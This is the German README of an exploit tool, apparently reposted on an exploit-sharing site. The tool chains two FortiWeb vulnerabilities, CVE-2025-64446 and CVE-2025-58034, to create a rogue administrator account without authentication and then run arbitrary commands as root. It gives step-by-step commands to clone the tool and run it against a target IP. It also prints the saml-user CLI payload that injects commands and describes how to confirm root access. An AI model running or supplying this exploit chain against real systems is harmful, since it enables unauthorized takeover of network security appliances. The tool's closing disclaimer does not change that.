FortiWeb Remote Code Execution (RCE) Exploit über die CVE-2025-64446 + CVE-2025-58034-Kette

Beschreibung

Dieses Skript verkettet zwei kritische Schwachstellen in Fortinet FortiWeb, um eine nicht authentifizierte Remote-Codeausführung mit Root-Rechten zu erreichen:

1. CVE-2025-64446 – Authentifizierungsumgehung per relativem Pfad-Traversal
   Ermöglicht einem nicht authentifizierten Angreifer, die Authentifizierung zu umgehen und ein neues Administratorkonto zu erstellen.

2. CVE-2025-58034 – Authentifizierte OS-Befehlseinschleusung
   Ein authentifizierter Angreifer (unter Verwendung des in Schritt 1 erstellten Kontos) kann über manipulierte HTTP-Anfragen beliebige OS-Befehle als Root ausführen.

Durch die Kombination dieser beiden Schwachstellen kann ein Angreifer ohne jegliche vorherige Anmeldedaten von null Zugriff zu einer vollständigen Systemkompromittierung gelangen.

Gesamtauswirkung: Nicht authentifizierte Remote-Codeausführung (entspricht einer Root-Shell)

Schwachstellendetails

CVE-2025-64446 – Authentifizierungsumgehung (Relativer Pfad-Traversal)

• Typ: Relativer Pfad-Traversal, der zu einer Authentifizierungsumgehung führt
• Schweregrad: Kritisch (CVSS 3.1 Base Score: 9.8)
• CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Betroffene Versionen:
  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.4
  • FortiWeb 7.4.0 – 7.4.9
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

CVE-2025-58034 – Authentifizierte OS-Befehlseinschleusung

• CVE: CVE-2025-58034
• Typ: Unzureichende Neutralisierung spezieller Elemente, die in einem OS-Befehl verwendet werden (OS-Befehlseinschleusung) – [CWE-78]
• Schweregrad: Kritisch
• Beschreibung:
  Ein authentifizierter Angreifer kann über speziell präparierte HTTP-Anfragen oder CLI-Befehle beliebige Betriebssystembefehle auf dem zugrunde liegenden System ausführen.
• Betroffene Versionen (durch diese CVE erweitert):
  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.5 (Hinweis: enthält 7.6.5)
  • FortiWeb 7.4.0 – 7.4.10 (Hinweis: enthält 7.4.10)
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

Kombinierte Angriffskette:

1. CVE-2025-64446 nutzen → Administratorkonto erstellen (nicht authentifiziert)
2. Mit dem neu erstellten Administratorkonto anmelden
3. CVE-2025-58034 nutzen → Beliebige OS-Befehle als Root ausführen

Verwendung

1. Repository klonen:

   root@kitploit:~

   git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
   cd CVE-2025-64446_CVE-2025-58034
   

2. Abhängigkeiten installieren:

   root@kitploit:~

   pip install -r requirements.txt
   

3. Vollständigen Exploit ausführen (erstellt Admin + führt Befehl aus):

   root@kitploit:~

   python exploit.py <target_ip> [-u <username>] [-p <password>]
   

   • <target_ip>: Die IP-Adresse oder der Hostname des anfälligen FortiWeb-Geräts. Dies ist ein erforderliches Argument.
   • -u <username> (optional): Legt einen benutzerdefinierten Benutzernamen für das erstellte Administratorkonto fest. Wenn nicht angegeben, wird eine UUID verwendet.
   • -p <password> (optional): Legt ein benutzerdefiniertes Passwort für das erstellte Administratorkonto fest. Wenn nicht angegeben, wird der Benutzername als Passwort verwendet.

   Beispiel:

   root@kitploit:~

   python exploit.py 192.168.1.100 -u admin123 -p password456
   

   Dies versucht, auf dem Zielgerät unter 192.168.1.100 ein Administratorkonto mit dem Benutzernamen "admin123" und dem Passwort "password456" zu erstellen.

   Wenn kein Benutzername und kein Passwort angegeben werden:

   root@kitploit:~

Demonstration

Schritt 1: Authentifizierungsumgehung & Admin-Erstellung (CVE-2025-64446)

Schritt 2: Remote-Codeausführung als Root (CVE-2025-58034)

Nach erfolgreicher Anmeldung mit dem neu erstellten Administratorkonto kann ein Angreifer die authentifizierte Befehls-Injection-Schwachstelle über speziell konstruierte Anfragen oder direkt über die FortiWeb-CLI ausnutzen.

Eine zuverlässige Ausnutzungsmethode ist die Verwendung des folgenden CLI-Befehls (nach der Authentifizierung über die FortiWeb-Befehlszeilenschnittstelle ausgeführt):

config user saml-user

edit "`<YOUR COMMAND>`"

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

Überprüfung

Nach der Ausführung:

• Prüfen Sie die Ausgabe auf Befehlsergebnisse (z. B. bestätigt uid=0(root) gid=0(root) Root-RCE)
• Melden Sie sich per SSH (falls Sie einen Schlüssel hinzugefügt haben) oder über die Weboberfläche mit den erstellten Anmeldedaten an

Referenzen

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034
• Fortinet PSIRT Advisories: https://www.fortinet.com/support/psirt
• Analyse: https://attackerkb.com/topics/zClpINmLCh/cve-2025-58034/rapid7-analysis

Haftungsausschluss: Dieses Tool dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Die unbefugte Verwendung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben, ist illegal.